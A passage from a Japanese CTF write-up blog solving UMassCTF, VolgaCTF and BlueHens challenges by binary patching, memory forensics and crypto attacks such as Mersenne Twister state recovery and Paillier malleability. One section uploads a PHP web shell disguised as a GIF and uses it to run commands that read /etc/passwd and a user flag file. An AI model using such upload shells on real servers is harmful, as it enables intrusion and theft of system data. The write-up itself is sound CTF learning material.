                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return uVar2;
}

local_168を0以外にしないと、後半のフラグを表示していると推測できるコードを通らない。アセンブリで以下になっているところをバイナリで編集する。

        00101c11 c7 85 a0        MOV        dword ptr [RBP + local_168],0x0
                 fe ff ff 
                 00 00 00 00

                 ↓

        00101c11 c7 85 a0        MOV        dword ptr [RBP + local_168],0x1
                 fe ff ff 
                 01 00 00 00
$ ./adventure_mod
Welcome to Strong Bad's Cool Game for Attractive People Episode 6 - Dangeresque 4: The Criminally-Dull Projective!
Okay, you're Dangeresque. Nobody do anything... Dangeresque!

"Man. That warehaus was full of action and suspense."
"Dangeresque! You're outta line!"
"Oh crap! It's the chief! I was supposed to solve a case for him months ago."
"Better try and 'solve' his case quick."

You are in Dangeresque's Office. This is where the magic happens! 
To the west is Agency Lobby.
There are a few things here:
- room-temperature coffee
- month-old chinese food
- the swissblonkel scenario

    local_168 = 0;

a> jhiezetfmvirlnjfbobk
UMASS{m0m_100k_i_can_r3ad_ass3mb1y}
UMASS{m0m_100k_i_can_r3ad_ass3mb1y}

Hermit - Part 1 (web)

Webページでは画像をアップロードできる。exploit.php.gifに以下を記載し、アップロードしてみる。

GIF87a
<?php

var_dump( exec('ls', $out, $ret) );
print_r( $out );
var_dump( $ret );

?>

その結果、以下が返ってきた。

GIF87a
string(7) "uploads"
Array
(
    [0] => index.php
    [1] => resources
    [2] => show.php
    [3] => upload.php
    [4] => uploads
)
int(0)

コマンドが実行できている。コマンドを変えて、再度アップロードしてみる。

GIF87a
<?php

var_dump( exec('cat /etc/passwd', $out, $ret) );
print_r( $out );
var_dump( $ret );

?>

この場合は、以下の結果になった。

GIF87a
string(40) "hermit:x:1000:1000::/home/hermit:/bin/sh"
Array
(
    [0] => root:x:0:0:root:/root:/bin/bash
    [1] => daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    [2] => bin:x:2:2:bin:/bin:/usr/sbin/nologin
    [3] => sys:x:3:3:sys:/dev:/usr/sbin/nologin
    [4] => sync:x:4:65534:sync:/bin:/bin/sync
    [5] => games:x:5:60:games:/usr/games:/usr/sbin/nologin
    [6] => man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
    [7] => lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
    [8] => mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
    [9] => news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
    [10] => uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
    [11] => proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
    [12] => www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
    [13] => backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
    [14] => list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
    [15] => irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
    [16] => gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
    [17] => nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
    [18] => _apt:x:100:65534::/nonexistent:/usr/sbin/nologin
    [19] => systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
    [20] => systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
    [21] => systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
    [22] => messagebus:x:104:106::/nonexistent:/usr/sbin/nologin
    [23] => sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
    [24] => hermit:x:1000:1000::/home/hermit:/bin/sh
)
int(0)

/home/hermitの配下を見てみる。

GIF87a
<?php

var_dump( exec('ls /home/hermit', $out, $ret) );
print_r( $out );
var_dump( $ret );

?>
GIF87a
string(12) "userflag.txt"
Array
(
    [0] => userflag.txt
)
int(0)

/home/hermit/userflag.txtを見る。

GIF87a
<?php

var_dump( exec('cat /home/hermit/userflag.txt', $out, $ret) );
print_r( $out );
var_dump( $ret );

?>
GIF87a
string(41) "UMASS{a_picture_paints_a_thousand_shells}"
Array
(
    [0] => UMASS{a_picture_paints_a_thousand_shells}
)
int(0)
UMASS{a_picture_paints_a_thousand_shells}

PikCha (web)

Pikachuのキャラクター4体?何を答えればよいのかわからないので、とりあえずCookieを見てみる。
Cookieのsessionにはこう書いてある。

eyJhbnN3ZXIiOls1MywxMDcsMzUsMTAwXSwiY29ycmVjdCI6MSwiaW1hZ2UiOiIuL3N0YXRpYy9jaGFsbC1pbWFnZXMvZGhwT2J4Z1BlQy5qcGcifQ.YF55Gg.amSnkfwW4jKEcLnAcuOU4kBJc78
$ echo eyJhbnN3ZXIiOls1MywxMDcsMzUsMTAwXSwiY29ycmVjdCI6MSwiaW1hZ2UiOiIuL3N0YXRpYy9jaGFsbC1pbWFnZXMvZGhwT2J4Z1BlQy5qcGcifQ== | base64 -d
{"answer":[53,107,35,100],"correct":1,"image":"./static/chall-images/dhpObxgPeC.jpg"}

53,107,35,100をスペース区切りで指定すれば、正解としてカウントされた。これを元にスクリプトにして実行する。

import requests

def get_answer(s):
    data = s.split('.')[0]
    while True:
        if len(data) % 4 == 0:
            break
        data += '='
    data = data.decode('base64')
    answer = map(str, eval(data)['answer'])
    answer = ' '.join(answer)
    return answer

url = 'http://104.197.195.221:8084/'

s = requests.Session()

for i in range(501):
    if i == 0:
        r = s.get(url)
    else:
        r = s.post(url, data=payload)
    body = r.text
    print body

    if i == 500:
        break

    session = r.cookies['session']
    answer = get_answer(session)
    print answer

    payload = {'guess': answer}

実行結果は以下の通り。

        :
<!doctype html>
<title>UMassCTF '21 - PikaCha</title>
<link rel="stylesheet" href="/static/style.css">
<nav>


</nav>
<section class="content center">
  <header>

  </header>

  <h1 class="text">PikCha</h1>
  <img src="./static/chall-images/oyBrbSOlnO.jpg" />
  <p>
    498 / 500
  </p>
  <form method='post' action='/'>
    <input type="text" id="guess" name="guess">
    <input type="submit" value="Submit">
  </form>
</section>
49 54 27 99
<!doctype html>
<title>UMassCTF '21 - PikaCha</title>
<link rel="stylesheet" href="/static/style.css">
<nav>


</nav>
<section class="content center">
  <header>

  </header>

  <h1 class="text">PikCha</h1>
  <img src="./static/chall-images/iIziAdeZYY.jpg" />
  <p>
    499 / 500
  </p>
  <form method='post' action='/'>
    <input type="text" id="guess" name="guess">
    <input type="submit" value="Submit">
  </form>
</section>
78 11 142 28
UMASS{G0tt4_c4tch_th3m_4ll_17263548}
UMASS{G0tt4_c4tch_th3m_4ll_17263548}

notes (forensics)

$ volatility -f image.mem imageinfo
Volatility Foundation Volatility Framework 2.6
INFO    : volatility.debug    : Determining profile based on KDBG search...
          Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_23418
                     AS Layer1 : WindowsAMD64PagedMemory (Kernel AS)
                     AS Layer2 : FileAddressSpace (/mnt/hgfs/Shared/work/image.mem)
                      PAE type : No PAE
                           DTB : 0x187000L
                          KDBG : 0xf80002a3b0a0L
          Number of Processors : 6
     Image Type (Service Pack) : 1
                KPCR for CPU 0 : 0xfffff80002a3cd00L
                KPCR for CPU 1 : 0xfffff880009f1000L
                KPCR for CPU 2 : 0xfffff88002ea9000L
                KPCR for CPU 3 : 0xfffff88002f1f000L
                KPCR for CPU 4 : 0xfffff88002f95000L
                KPCR for CPU 5 : 0xfffff88002fcb000L
             KUSER_SHARED_DATA : 0xfffff78000000000L
           Image date and time : 2021-03-20 18:16:12 UTC+0000
     Image local date and time : 2021-03-20 13:16:12 -0500

$ volatility -f image.mem --profile=Win7SP1x64 pstree
Volatility Foundation Volatility Framework 2.6
Name                                                  Pid   PPid   Thds   Hnds Time
-------------------------------------------------- ------ ------ ------ ------ ----
 0xfffffa80026287f0:csrss.exe                         656    640     10    394 2021-03-20 18:57:49 UTC+0000
 0xfffffa8001e6e7c0:wininit.exe                       688    640      3     82 2021-03-20 18:57:49 UTC+0000
. 0xfffffa8001e497c0:lsm.exe                          768    688     10    149 2021-03-20 18:57:49 UTC+0000
. 0xfffffa8001ff4b30:services.exe                     744    688      8    205 2021-03-20 18:57:49 UTC+0000
.. 0xfffffa8002455b30:svchost.exe                    1164    744     16    486 2021-03-20 17:57:51 UTC+0000
.. 0xfffffa80022ce680:VBoxService.ex                  928    744     13    146 2021-03-20 18:57:49 UTC+0000
.. 0xfffffa800274eb30:WLIDSVC.EXE                    1572    744      8    257 2021-03-20 17:57:52 UTC+0000
... 0xfffffa8002cc7b30:WLIDSVCM.EXE                   696   1572      3     58 2021-03-20 17:57:53 UTC+0000
.... 0xfffffa8000cae240:csrss.exe                     708    696     10    249 2021-03-20 18:57:49 UTC+0000
.... 0xfffffa8002beb2e0:winlogon.exe                 2004    696      3    116 2021-03-20 17:57:53 UTC+0000
.. 0xfffffa8001f974e0:svchost.exe                     988    744      8    268 2021-03-20 17:57:51 UTC+0000
.. 0xfffffa80023e62d0:svchost.exe                     736    744     17    458 2021-03-20 17:57:51 UTC+0000
... 0xfffffa8002bbeb30:dwm.exe                       2236    736      3     94 2021-03-20 17:57:54 UTC+0000
.. 0xfffffa8002f82590:mscorsvw.exe                   1724    744      7     87 2021-03-20 17:59:53 UTC+0000
.. 0xfffffa800273d060:svchost.exe                    1480    744     16    310 2021-03-20 17:57:52 UTC+0000
.. 0xfffffa8002623b30:spoolsv.exe                    1356    744     12    311 2021-03-20 17:57:52 UTC+0000
.. 0xfffffa8000de7b30:mscorsvw.exe                   2104    744      7     92 2021-03-20 17:59:53 UTC+0000
.. 0xfffffa8001e9d060:svchost.exe                     604    744     20    476 2021-03-20 17:57:51 UTC+0000
.. 0xfffffa8002b7a910:SearchIndexer.                 1888    744     14    673 2021-03-20 17:57:52 UTC+0000
... 0xfffffa8002773090:SearchProtocol                3292   1888      8    284 2021-03-20 18:15:53 UTC+0000
... 0xfffffa800213e4e0:SearchFilterHo                1740   1888      5    103 2021-03-20 18:15:53 UTC+0000
.. 0xfffffa8002195b30:svchost.exe                     868    744     10    371 2021-03-20 18:57:49 UTC+0000
.. 0xfffffa8002da5060:taskhost.exe                   2156    744      8    152 2021-03-20 17:57:53 UTC+0000
.. 0xfffffa8002605890:svchost.exe                    1264    744     16    426 2021-03-20 17:57:52 UTC+0000
.. 0xfffffa8001f55890:svchost.exe                    1384    744     17    317 2021-03-20 17:57:52 UTC+0000
.. 0xfffffa80023eab30:svchost.exe                     980    744     27    791 2021-03-20 17:57:51 UTC+0000
.. 0xfffffa8002de2b30:wmpnetwk.exe                   2736    744      9    219 2021-03-20 17:58:00 UTC+0000
. 0xfffffa80020ecb30:lsass.exe                        760    688      9    564 2021-03-20 18:57:49 UTC+0000
 0xfffffa8002818060:explorer.exe                     2288   2216     27    898 2021-03-20 17:57:54 UTC+0000
. 0xfffffa8002e1db30:VBoxTray.exe                    2432   2288     15    156 2021-03-20 17:57:54 UTC+0000
. 0xfffffa8000dd0060:notepad.exe                     2696   2288      4    309 2021-03-20 17:59:34 UTC+0000
 0xfffffa8000ca0040:System                              4      0    173    526 2021-03-20 18:57:47 UTC+0000
. 0xfffffa8002232b30:smss.exe                         572      4      3     34 2021-03-20 18:57:47 UTC+0000
 0xfffffa80010cc460:FTK Imager.exe                   1552   2708     17    429 2021-03-20 17:59:24 UTC+0000

$ volatility -f image.mem --profile=Win7SP1x64 filescan | grep password
Volatility Foundation Volatility Framework 2.6
0x000000003fdccf20     16      0 RW-rw- \Device\HarddiskVolume2\Users\user\Desktop\passwords.txt

$ volatility -f image.mem --profile=Win7SP1x64 dumpfiles -D . -Q 0x000000003fdccf20
Volatility Foundation Volatility Framework 2.6
DataSectionObject 0x3fdccf20   None   \Device\HarddiskVolume2\Users\user\Desktop\passwords.txt

$ cat file.None.0xfffffa800104c4d0.dat 
VU1BU1N7JDNDVVIzXyQ3MFJhZzN9Cg==

$ echo VU1BU1N7JDNDVVIzXyQ3MFJhZzN9Cg== | base64 -d
UMASS{$3CUR3_$70Rag3}
UMASS{$3CUR3_$70Rag3}

malware (crypto)

各ファイルがAES-CTRモードで暗号化されている。ファイルごとに順にivが1ずつカウンターがアップしながら暗号化している。
1ブロックごとにXOR鍵がずれているだけなので、そのことを考慮して復号する。ファイルの順番がわからないので、適当にずらしながら、復号する。

from Crypto.Util.strxor import strxor

with open('malware.py', 'rb') as f:
    pt = f.read()

with open('malware.py.enc', 'rb') as f:
    ct = f.read()

with open('flag.txt.enc', 'rb') as f:
    flag_enc = f.read()

key = strxor(pt, ct)

for i in range(1, 4):
    flag = strxor(key[16*i:16*i+len(flag_enc)], flag_enc)
    if flag.startswith('UMASS'):
        print flag
        break
UMASS{m4lw4re_st1ll_n33ds_g00d_c4ypt0}

VolgaCTF 2021 Qualifier Writeup

この大会は2021/3/27 23:00(JST)~2021/3/28 23:00(JST)に開催されました。
今回もチームで参戦。結果は173点で231チーム中144位でした。
自分で解けた問題をWriteupとして書いておきます。

Knock-Knock (Crypto)

添付のPythonコードを見ると、処理概要は以下のようになっている。

・Mersenne Twisterの乱数で32ビットの乱数を取得
・port1: 取得した乱数の前半16bit
・port2: 取得した乱数の後半16bit
・ポートノッキングで以下の条件でsshが使用できる。
 port1, port2の順でたたく
・ポートノッキングで以下の条件でsshを閉じる。
 port2, port1の順でたたく。

pcapファイルを見ると、2222ポートの通信を除くと、連続でこの通信が走っていることがわかる。
例えば、No1,2、No13,14のパケットでは、ポート番号のみ着目すると、以下のようになっている。

(送信元ポート) → (送信先ポート)
55880 → 53177
38062 → 60973
38066 → 60973
55888 → 53177

この場合、port1は53177、port2は60973であることがわかる。この情報から乱数を復元できる。
これを繰り返し見ていけば624個の乱数を取得でき、Mersenne Twisterの性質から次の乱数を予測できる。つまり次のport1, port2がわかり、フラグが得られる。

from scapy.all import *
import random

def untemper(rand):
    rand ^= rand >> 18;
    rand ^= (rand << 15) & 0xefc60000;
 
    a = rand ^ ((rand << 7) & 0x9d2c5680);
    b = rand ^ ((a << 7) & 0x9d2c5680);
    c = rand ^ ((b << 7) & 0x9d2c5680);
    d = rand ^ ((c << 7) & 0x9d2c5680);
    rand = rand ^ ((d << 7) & 0x9d2c5680);
 
    rand ^= ((rand ^ (rand >> 11)) >> 11);
    return rand

packets = rdpcap('knockd.pcap')

N = 624
state = []
i = 0
for p in packets:
    if p[TCP].dport != 2222 and p[TCP].sport != 2222 and p[TCP].ack == 0:
        if i % 4 == 0:
            port1 = p[TCP].dport
        elif i % 4 == 1:
            port2 = p[TCP].dport
            number = (port1 << 16) + port2
            state.append(untemper(number))
        i += 1

state.append(N)
random.setstate([3, tuple(state), None])

number = random.getrandbits(32)
a = (number & (2 ** 32 - 2 ** 16)) >> 16
b = number & (2 ** 16 - 1)

flag = 'VolgaCTF{%d,%d}' % (a, b)
print flag
VolgaCTF{15094,7850}

Feedback (Feedback)

アンケートに答えたら、フラグが表示された。

VolgaCTF{fei8ighie1aiY5ka}

BlueHens CTF 2021 Writeup

この大会は2021/3/20 3:00(JST)~2021/3/22 3:00(JST)に開催されました。
今回もチームで参戦。結果は2347点で324チーム中23位でした。
自分で解けた問題をWriteupとして書いておきます。

Welcome to UDCTF (Misc)

Discordに入ると、#welcomeチャネルのメッセージにフラグがあった。

UDCTF{g00d-LuCk-3v3ry0n3}

Transforms (Misc)

$ nc challenges.ctfd.io 30008
you have solved 0/100

convert hexdigest to string: cbcf93f83286e075 @@@@@
> 

$ nc challenges.ctfd.io 30008
you have solved 0/100

convert bytearray to hexdigest: [97, 215, 52, 93, 185, 94, 149, 138] @@@@@
> 

$ nc challenges.ctfd.io 30008
you have solved 0/100

convert string to integer: ���:�� @@@@@
>

いくつか変換の問題が出るので、スクリプトにして答える。

import socket
import re
import binascii
from Crypto.Util.number import *

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('challenges.ctfd.io', 30008))

for i in range(100):
    data = recvuntil(s, '\n').rstrip()
    print data
    data = recvuntil(s, '> ')
    print data[:-1],

    pattern = '(convert .+)\: (.+) @@@@@'
    m = re.search(pattern, data, re.DOTALL)
    q_key = m.group(1)
    q_val = m.group(2)

    #### hexdigest -> ? ####
    if q_key == 'convert hexdigest to bytearray':
        ans = str([int(q_val[i:i+2], 16) for i in range(0, len(q_val), 2)])
    elif q_key == 'convert hexdigest to string':
        ans = q_val.decode('hex')
    elif q_key == 'convert hexdigest to integer':
        ans = str(int(q_val, 16))

    #### bytearray -> ? ####
    elif q_key == 'convert bytearray to hexdigest':
        q_val = eval(q_val)
        ans = ''.join([binascii.hexlify(chr(v)) for v in q_val])
    elif q_key == 'convert bytearray to string':
        q_val = eval(q_val)
        ans = ''.join([chr(v) for v in q_val])
    elif q_key == 'convert bytearray to integer':
        q_val = eval(q_val)
        ans = str(bytes_to_long(''.join([chr(v) for v in q_val])))

    #### string -> ? ####
    elif q_key == 'convert string to bytearray':
       ans = str([ord(v) for v in q_val])
    elif q_key == 'convert string to hexdigest':
        ans = binascii.hexlify(q_val)
    elif q_key == 'convert string to integer':
        ans = str(bytes_to_long(q_val))

    #### integer -> ? ####
    elif q_key == 'convert integer to hexdigest':
        ans = binascii.hexlify(long_to_bytes(q_val))
    elif q_key == 'convert integer to bytearray':
        b = long_to_bytes(int(q_val))
        ans = str([ord(v) for v in b])
    elif q_key == 'convert integer to string':
        q_val = int(q_val)
        ans = long_to_bytes(q_val)

    print ans
    s.sendall(ans + '\n')
    data = recvuntil(s, '\n').rstrip()
    print data

data = recvuntil(s, '\n').rstrip()
print data
data = recvuntil(s, '\n').rstrip()
print data

実行結果は以下の通り。

        :
you have solved 95/100

convert integer to hexdigest: 9956280526821745813 @@@@@
> 8a2bd06375596495
great

you have solved 96/100

convert integer to bytearray: 939509236931364368 @@@@@
> [13, 9, 206, 172, 90, 126, 6, 16]
great

you have solved 97/100

convert bytearray to hexdigest: [211, 219, 56, 79, 245, 3, 242, 82] @@@@@
> d3db384ff503f252
great

you have solved 98/100

convert bytearray to integer: [241, 150, 175, 119, 172, 154, 13, 205] @@@@@
> 17408294338178977229
great

you have solved 99/100

convert bytearray to integer: [91, 83, 120, 30, 110, 87, 208, 12] @@@@@
> 6580735552614027276
great

UDCTF{r0b075_1N_d15gu153}
UDCTF{r0b075_1N_d15gu153}

PHEnomenal (Crypto)

$ nc challenges.ctfd.io 30004
HEllo Pascal!

Can you hold on to this for me? 9401696427901823179425938612277559249331574262532464295046824245382364018745231738575982969553544987594404297605813475997925866335673494370550221471865620616488976938340522230965539774358455753772834025830308454646634578935062692257126419871099402646207953512716237839934967790084562794412205441615393142365189792829617628664746618204819731840933188287806838329752042038570194539813884197233892382767553374417069324242153780932983354405599555489739657095780569087453259418346102459939811318079615339586952810931131125330412546579493324346375440985341938785968313623135218985485391173371270978828038621740048422775173004731329694426966984097954107178345438735093859366884282690067805991478699428642315377555162702730247252415862225131631318438295595806992588913614612153113002364979049305962923576002304196001857094325571356769235128539829930014624443643845336236462505426407769026892053035561446403728481656413411560702779701630030500914960829835116198915654551134955125553532514334893016350861535169974509858170988825850467528098220479301044348487028684723703783995627594861929042441215921405542452886210123808860298958064055339098929791702367327488226117417530515533234034764388398871573802186727761836167535559351958402698411401087653102996338249901467968019498793973030703040624693859687135581781124470332810414636748564334299791035414378769633542008284482034650798292476947381842136089712406697363760382139263151426933551067409948792414935630080509767405826876541117004371718271940941997756163716687690595887755355537742631234238027698122137428597944442394644937563401825433354599706202655070368078707310633917124527614676616112777449176016983714316779490514965104296294716488133723902673282647606908899471693138508468510887689967901713523209128682835007726958177822251628480238693326583471855136776412486367859346446560585832704077345121216646

I want to keep it somewhere safe. It's an encryption of my lucky number 61 !

Oh, I think you may need N^2 as well: 11524758657623999982442658301236796480466459977520300597557767528123954032057862449679708951179328168372176050989981442876023409285804582602964508661899216132642272355130795098923056785895175377095862957831524247471228639125488315700367645226595931645231369986758606729300686193373144247294329400597194500032362693063296602021233169957029367930879220364642471772623413217464725693670469627165119041661071660491278696527533731691772920121347155156311849597253498482506850159221549910350587148027534199681620229730720462951207562976847473097670840167610505869476369016727546246598162381358835578402733011530049522459378101342195007732259463382272290990335363266494048034530071459593426176748991344795820073413617789924902597715156974863072095225673279635178302788041064929206697981189697539836011746648332117502460578304035905452491608471299210310715546650614793213722779906137412446237796073255369431031282227236288730574992060167990277597164697649278738357574815560023826092588842108786838111748972310851424670910093027251750380185001876929453214876811498252925138854297116864500047933812972400236445779857499147169385946219223424743590703646161257211891341931725866510263914588320124190478553090668581904952215993379975007331084742439024510348158356619949608739017786634860907110262635879680412787178706149856661968839258727912616366392978478557392339002918613194059148943308757990769198090688279963475792270735876629539220760212988594934694776932004909113593048293991812807361945230529704506674434774936353585928562307413577354173181452785736766106622419787881107623221517121569905885828790269252032914115523389584809493934039073449660229698441093587938825063040071240240184405450811925449698902077190488801007615688258319805371436103808116812081023523007303957555489015611827516684607641295132231862670645295583845862874057967705603054442480921089

Uh oh, I need some help! Can you give me the encryption of 49105?

タイトルと合わせて考えると、Paillier暗号のようだ。

c = (pow(g, m) * pow(r, n)) % N^2

m = 61の場合
c = 94016964279....

上記の場合49105は61の倍数になっている。何回かアクセスしてみたが、数値は変わるが必ず倍数になっている。Pailler暗号の加法的準同型性を利用する。
平文aとbの暗号化C(a), C(b)について、以下のようになる。

C(a + b) = C(a) * C(b)

このことから49105の暗号を算出できる。

import socket

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('challenges.ctfd.io', 30004))

for _ in range(2):
    data = recvuntil(s, '\n').rstrip()
    print data

data = recvuntil(s, '\n').rstrip()
print data
c1 = int(data.split(' ')[-1])

data = recvuntil(s, '\n').rstrip()
print data
data = recvuntil(s, '\n').rstrip()
print data
m1 = int(data.split(' ')[-2])

data = recvuntil(s, '\n').rstrip()
print data
data = recvuntil(s, '\n').rstrip()
print data
N2 = int(data.split(' ')[-1])

data = recvuntil(s, '\n').rstrip()
print data
data = recvuntil(s, '? ')
m2 = int(data.split(' ')[-2][:-1])

assert m2 % m1 == 0

c2 = pow(c1, m2 // m1, N2)  % N2
print data + str(c2)
s.sendall(str(c2) + '\n')

data = recvuntil(s, '\n').rstrip()
print data
data = recvuntil(s, '\n').rstrip()
print data

実行結果は以下の通り。

HEllo Pascal!

Can you hold on to this for me? 2856202253840126425607479940562414686504060276541544326077121841542971533651022158043463327671150037558862024897338868586689732353681779160368549315968342584841433855961811846725781989836304258950434432266659558881778012148366451140654051231787441009277320957853301913739979638335779344175939775015834163308908721757246260402066112375842551184345806029863429190659219854909567681301498851297476125188051701821059659829732928801957682954371875538625918534485887999113707789888651538807091140474653513737813631265591446381867297953367553732961397606553380788544640659266658468517080998402206744148331276475802684842389911306112367919101523214094361615757663980901281815833116716947971931573402937123686893538743246375034672576129603388657474488037226100391947658622281816195053698705583018301362675846412877237993060313322952293980843345053313359910040061735611869045029888974582487463713682138586739453798331127079824651009112125807698208883266591963976240223590817727248131339687143997651296366349926901450441515361432017463527903621952997893100895442341279639999638454033573179650363865987216042069376664679311600505353327182644673409066528072850790401539816585484599499660357052452567023693377115052337587157358210464872250514254601436849364735401207910022922960810435125931005829786682985667607275359012000772663491351577065201856160449119190579237415143171524796483165896608527301636615039457469489517590014367878764318064588418785460652567271381245063066985199235402203195483700803965212406799754694045293566057103034364395552206059278842864855985283190690503259918635716629735110608317294569457756091972029874802539135474078296554443265107941565309036524417676158373489328931112418671531345263997755565468492401227124143997203628251727713060260268820074043161232487210073265595614430500535011732593339026309181727275165329889953628040240114403

I want to keep it somewhere safe. It's an encryption of my lucky number 39 !

Oh, I think you may need N^2 as well: 9462443801404504174539993065515652478061032522288659760464062752045490903620143876820156413591103069000866494184722675104687633244484653513266138373423732461376250375945555879146920913895666632034205043574773727395899188343148229094638900893938227922985993102317695063859116480622688867405786428632431883415654523756514758495829626766788964757085348300511123904285859925967527288204732558160933085095987551545933913422033536350322762118527232624509690981264658965867169282331307028150124243992546072534148836887631184117053448015649640730687537088097590425131324433423625561003715685221817364561449734050214711351737617134501381461915460970690187048253995619498114159738502051963307165283899998273208493437676544979234847265462331069187147234308910769003352240892224941749958600945061074033067457060402165043750002270287110079523561553178471215339681869957788106500666389826015762921025104773613534580002970992429077474029580863032489958295743510689141597015134660457072404473120409763524617177785943610323199636219471269421292956289984725052078127150980198556207789707504162310532999113155598635057605794704133247062673594724037142620826968566626519114747433758034075969843527428627997717556067129640981731844105558435905851041701153499022067345816462073005280240921091873198043608803184739656567040861946403476345080529101459625330913943722133997981914796097958520433622865246661498512272934465893714295273860819337851339979419050618688232927204732618796276752148741202731941165938650035796483979506790958693491061115423884746894510607344696002672026900736162407913311216535908545933892552437236846030560174275086193301423414548590790705311401669752793422443854632039954293291091336729055022470248724894640872954908548735427700795322820803213742928774293915059246343431403542602500211258802321632876660940567192890048090636428727782678833507279049

Uh oh, I need some help! Can you give me the encryption of 21294? 9109398162485919474689826547424353875793679926603336599817986914336873127152774782738370079124609227332954517148390421616587718752860268037847126668821937574811992316476547767043015279747784041562189644043518023699083715255673796263579953520365230157608854062521755520978637475953592385938315359624717155912735694609013113366553903755954284276064721507296067832332400732415660037175896480040135931434827478462093090964041334349567243612082779736203480693670851323724561683561531447716854680501511833034907724311619491119234434445215611861598580113994237572784742284518394418528163390803203913503654851246946653287244700394141886783617111109854047688482202462147328914348538012173610510180289349495931090729667509857676802878994668659862898945201528389738936885664548870706553980546868443625604110233469408971645321980409260401127065229894252179636018820091593227406524899363724630838250703945686813381325633045662591202887645041450849745286148761192322436595146250349689211955716277741238356187356701678851866685322407654539188381257459999011520401595434054058138204649049703944387574370803456120219878525578395868287415735996451845116868415830937390451817969118210072534235233109418751516242409332736403842508559011430547480173812954191728534743296100772294257187214667554992110385390900317759554476388800677347058938156728427172209111812689681692153867723876468995214127647264566197750779163265930459111954164553029938370336146049496615119365367140818448740760489373263048716202363258616157435276691389131987300663402312802313536277977471265190764359445535286681125195709203294476354341694372749331083132047249313010736124156654849789487962202957496835966202918900965742313791157846691807988669843470739293668732937003449775799935310223779695668889980889108977224037595349940393532575118881021004232243177975833405260728876185217965392222536195269

UDCTF{P41ll13R_one_oh_one}
UDCTF{P41ll13R_one_oh_one}

OTP1 (Crypto)

2つのテキスト文がflagをキーにXOR暗号されている。テキスト文はアルファベット大文字のみで構成されている。
flagの先頭 "UDCTF{" で条件を満たす箇所を調べる。

[+] 000 THUSCA WEMUST
[+] 025 PRESSI NDNOTS
[+] 050 OSTEXT USMYDE
[+] 075 NCONST HEPLAY
[+] 100 SEVERY TUNEDO
[+] 125 RUMPET DPEOPL
[+] 150 STONIS RWHATT
[+] 175 RSTHER UNDRED
[+] 200 ESOCOM EJOICE
[+] 225 THEWOR EYREJO
[+] 250 ERFALL PEOPLE
[+] 275 AUSETH GAINOR
[+] 300 ONOFTH NAGREE
[+] 325 ATSUCH EORMER
[+] 350 LANDST EVERKN
[+] 375 MBWITH BOUTIT
[+] 400 AXIMOF SLAINA
[+] 425 EXCLUD ORDNEE
[+] 450 EVERRE OKEEPI
[+] 475 BLEMUS ECANEN
[+] 500 REGRET SIDETH
[+] 525 FROMTH SUFFER
[+] 550 FORWAR HEREIS
[+] 575 SJUSTB PEECHM
[+] flag length: 6
[*] flag: UDCTF{

この結果からflagは25バイトと推測して良さそうだ。
あとはこの結果から文となるようキーを推測していく。

from Crypto.Util.strxor import strxor
from string import uppercase

def is_uppercase(s):
    for c in s:
        if not c.isupper():
            return False
    return True

ct = '010c1607053a24763f2c76242b1521630b7936371e2d30292d051606071532387d2d2d74393c0d357e1169343c1b373c23301a1717111e2f25723a22772c2b0b3679187f212006222623341b070c1a152f367d382c732e300d267511733033122c3a21280601151114223372352a6424360b3c751c652626102e20292907110e04032f317c3e377820301c3c67107e31370d223a223c06100c1a0f283f7e292d642c310b3c751c783c3719223732320717171c0329327a2230753931163a771e643137192a35283e10170c170936277f293775213c0b3c7510603c3c162c3a293b010c060309293b772e3664392d1a267516633b3d1831312729101605150a373670352a6424360f26751c792637133a36233e141110111233326a282c73222b0c217c0b643d3710333d28341a0a0c121233327a3e2c6723291620641375223d0d2f303235141010010533237b252d773e311e3f750f7c34311a2220273119050d10152f257a27266425201826751e64223d0d2f3022281806141d1233367e2d397520201120790b792633112c382230141c0a19093d3a7a22266425240b23781a7e2c3d0a2b353038101c0018133f3277382b7524280f3b630c79373e1a343c272910120606143e3a72252d63252a0831661a623c3f0f313b243c170806191328237129377828310d216417673021172c212a3907010406032f38663e2e793e311e3f750c713b36132635343313160c191233327e2e366423200931621c71272006373c2330130b11030729337a22377f392d1a32650b652737082a202e28060e1607123925762d3778242b183d631164393b092a3a21@@02010e01152f3a7629376228331a26631a63373d1327383f3c1b000d1b122822752a2662392d1a39641076273b182b20233300170e0d023e36613b267d38360b38751e623b2610223732291d0113180722386638347520300c207c1666303f163032292f01110d110234207d38317f393c1a207e1064343a0a2d3034381114061b1637327a2237782c311d35640b7c3039112623203207130b15122f3f7635257f382217207f0d673d2b112c202735000a0706033f3875382b75242b1c3b7e0c7931370d2220232f100e0c1d053e2560252d642520093d730b7f272b082b2d3235101d11110c343e7029277e223117357c19713d27112726233905010c040a3e20763e266425201d31640b7527341031202e3812050a1a09293b7c3f307e223117357c1971313d05263a2b381b050406033e237c382b793e2d102162107e213a1a2035332e100b111903293e673f227e292b10367f1b693c3c0c2b3b3429101206060d3532642d2d69392d163a771b792626162d37323c170b16000f2f35663837782828102162117527211025202e380608021d083a3a7a22277e28201b2772107f3e211e3035352a1a16071a033e33602d347828310c207f11753c